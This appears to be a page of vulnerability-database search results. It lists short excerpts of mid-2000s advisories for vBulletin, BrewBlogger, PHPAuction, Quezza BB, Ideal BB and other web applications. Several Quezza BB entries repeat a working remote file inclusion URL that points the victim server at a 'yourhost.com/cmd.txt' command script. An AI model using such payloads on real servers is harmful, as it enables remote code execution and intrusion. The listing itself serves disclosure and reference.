234 matches found
VBulletin AdminCP Index.PHP Multiple Cross-Site Scripting Vulnerability
VBulletin AdminCP Index.PHP Multiple Cross-Site Scripting Vulnerability vBulletin is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data. An attacker could exploit this vulnerability to have arbitrary script code execute in the...
CVE-2006-5889
The CVE-2006-5889 issue affects BrewBlogger (BB) version 1.3.1, where a SQL injection vulnerability exists in printLog.php. The vulnerability allows remote attackers to inject arbitrary SQL commands through the id parameter, compromising the application’s data handling. This aligns with multiple ...
WEBInsta MM 1.3e - cabsolute_path Remote File Inclusion
WEBInsta MM 1.3e - cabsolutepath Remote File Inclusion +-------------------------------------------------------------------- + + WEBInsta Mailing list manager 1.3e cabsolutepath RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/311/org/ +...
ME Download System 1.3 - header.php Remote File Inclusion
ME Download System 1.3 - header.php Remote File Inclusion +-------------------------------------------------------------------- + + ME Download System 1.3 Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: ME Download System 1.3 ...
PHPAuction 2.1 (phpAds_path) Remote File Inclusion Vulnerability
No description provided by source. +-------------------------------------------------------------------- + + PHPAuction 2.1 Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: PHPAuction 2.1 maybe higher + Venedor ...........:...
phpAuction 2.1 - phpAds_path Remote File Inclusion
phpAuction 2.1 - phpAdspath Remote File Inclusion +-------------------------------------------------------------------- + + PHPAuction 2.1 Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: PHPAuction 2.1 maybe higher + Venedor...
phpAuction 2.1 - 'phpAds_path' Remote File Inclusion
+-------------------------------------------------------------------- + + PHPAuction 2.1 Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: PHPAuction 2.1 maybe higher + Venedor ...........: http://www.phpauction.net, + Class...
QuezzaBB.txt
--Security Report-- Advisory: Quezza BB http://victim/QuezzaPath/includes/classtemplate.php?quezzarootpath=FILE EXAMPLE - http://victim/QuezzaPath/includes/classtemplate.php?quezzarootpath=http://yourhost.com/cmd.txt? If magicquotesgpc off remote attacker can include local files too EXAMPLE -...
Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================ Quezza BB ICQ: 10072 MSN/Mail: email protected web: www.nukedx.com This exploit works on Quezza BB = 1.0 Original advisory can be found at: http://www.nukedx.com/?viewdoc=30...
Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.
--Security Report-- Advisory: Quezza BB = 1.0 File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 17/05/06 05:37 AM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Quezza http://www.quezza.com/ Version: 1.0...
Quezza BB 1.0 - 'quezza_root_path' File Inclusion
Quezza BB ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on Quezza BB = 1.0 Original advisory can be found at: http://www.nukedx.com/?viewdoc=30 http://victim/QuezzaPath/includes/classtemplate.php?quezzarootpath=http://yourhost.com/cmd.txt?...
Quezza BB 1.0 - quezza_root_path File Inclusion
Quezza BB 1.0 - quezzarootpath File Inclusion Quezza BB ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on Quezza BB = 1.0 Original advisory can be found at: http://www.nukedx.com/?viewdoc=30...
Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability
No description provided by source. Quezza BB = 1.0 quezzarootpath File Inclusion Vulnerability. Method found by nukedx, Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on Quezza BB = 1.0 Original advisory can be found at: http://www.nukedx.com/?viewdoc=30...
CVE-2006-2321
Multiple cross-site scripting XSS vulnerabilities in Ideal Science Ideal BB 1.5.4a and earlier allow remote attackers to inject arbitrary web script or HTML via unknown vectors. NOTE: due to lack of details from the researcher, it is not clear whether this overlaps CVE-2004-2207...
CVE-2006-2319
Ideal Science Ideal BB 1.5.4a and earlier does not properly check file extensions before permitting an upload, which allows remote attackers to upload and execute an ASP script via a 0x00 character before the ".asp" portion of the filename...
Sql injection
Multiple SQL injection vulnerabilities in Ideal Science Ideal BB 1.5.4a and earlier allow remote attackers to execute arbitrary SQL commands via multiple unspecified vectors related to stored procedure calls. NOTE: due to lack of details from the researcher, it is not clear whether this overlaps...
CVE-2006-2317
Unspecified vulnerability in Ideal Science Ideal BB 1.5.4a and earlier allows remote attackers to read arbitrary files under the web root via unspecified attack vectors related to the OpenTextFile method in Scripting.FileSystemObject...
Cross site scripting
Multiple cross-site scripting XSS vulnerabilities in Ideal Science Ideal BB 1.5.4a and earlier allow remote attackers to inject arbitrary web script or HTML via unknown vectors. NOTE: due to lack of details from the researcher, it is not clear whether this overlaps CVE-2004-2207...
CVE-2006-2318
Incomplete blacklist vulnerability in Ideal Science Ideal BB 1.5.4a and earlier allows remote attackers to upload and execute an ASP script via a ".asa" file, which bypasses the check for the ".asp" extension but is executable on the server...
CVE-2006-2320
Multiple SQL injection vulnerabilities in Ideal Science Ideal BB 1.5.4a and earlier allow remote attackers to execute arbitrary SQL commands via multiple unspecified vectors related to stored procedure calls. NOTE: due to lack of details from the researcher, it is not clear whether this overlaps...